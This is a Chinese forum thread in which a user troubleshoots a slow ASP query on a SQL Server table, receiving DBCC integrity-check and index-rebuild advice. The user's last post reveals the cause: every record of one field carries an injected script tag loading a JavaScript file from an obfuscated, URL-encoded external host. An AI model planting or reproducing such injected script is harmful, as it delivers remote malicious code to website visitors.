同一个数据库里的两个表A和B,(记录数差不多,都一万来条,占用磁盘空间也差不多,都7M左右.)做以下的操作:
第一步:用一个ASP程序读取表A的记录,速度没问题,很快!
第二步:用同一个ASP程序,把里面的表名和字段名改成表B的,其它不变,但速度超慢.主键和索引也建了,把记录减少到100条,速度也没变化.
   请高手帮下!

解决方案 »

  1.   

    重建一下B表上的索引,或者用 dbcc_checktable 检查一下表。
      

  2.   

    那就可能是B表存在某些比较长的字段,如varchar(2000)或image,text等类型的.如果不是,则
    DBCC CHECKDB
    检查指定数据库中的所有对象的分配和结构完整性。
      

  3.   

    表B 的 DBCC 结果。
    对象  有 10679 行,这些行位于 268 页中。
    DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。以上是DBCC CHECKDB 检查结果!
    没有长的字段
      

  4.   

    那再
    DBCC CHECKTABLE
    检查指定表或索引视图的数据、索引及 text、ntext 和 image 页的完整性。A. 检查特定表
    下例检查 authors 表的数据页完整性。DBCC CHECKTABLE ('authors')
    GOB. 检查表,但不检查非聚集索引
    下例对 authors 表的数据页完整性进行检查,但不检查非聚集索引。DBCC CHECKTABLE ('authors') WITH PHYSICAL_ONLY
    GOC. 检查特定索引
    下例对通过访问 sysindexes 获得的特定索引进行检查。USE pubs
    DECLARE @indid int
    SELECT @indid = indid 
    FROM sysindexes
    WHERE id = OBJECT_ID('authors') AND name = 'aunmind'
    DBCC CHECKTABLE ('authors', @indid)
    GO或者重新建立表B的索引.
      

  5.   

    A表与B表的数据相同吗?如果是数据不同,有可能是与数据有关,即实际处理A表的数据量(查询量不是总记录)与实际处理B表的数据量有较大差异如果是数据相同,则是B表的问题,用DBCC检查B表
      

  6.   

    在大家的帮助下,终于找到问题了,一个字段的每条记录后都莫名其妙地出现了这样的东西:
    </title><script src=http://%6b%6b%36%2e%75%73/1.js></script>
    重新恢复到没有这些东西的数据后,查询就没问题了
    另问一下,这些东西是怎么来的?我肯定没有自己输入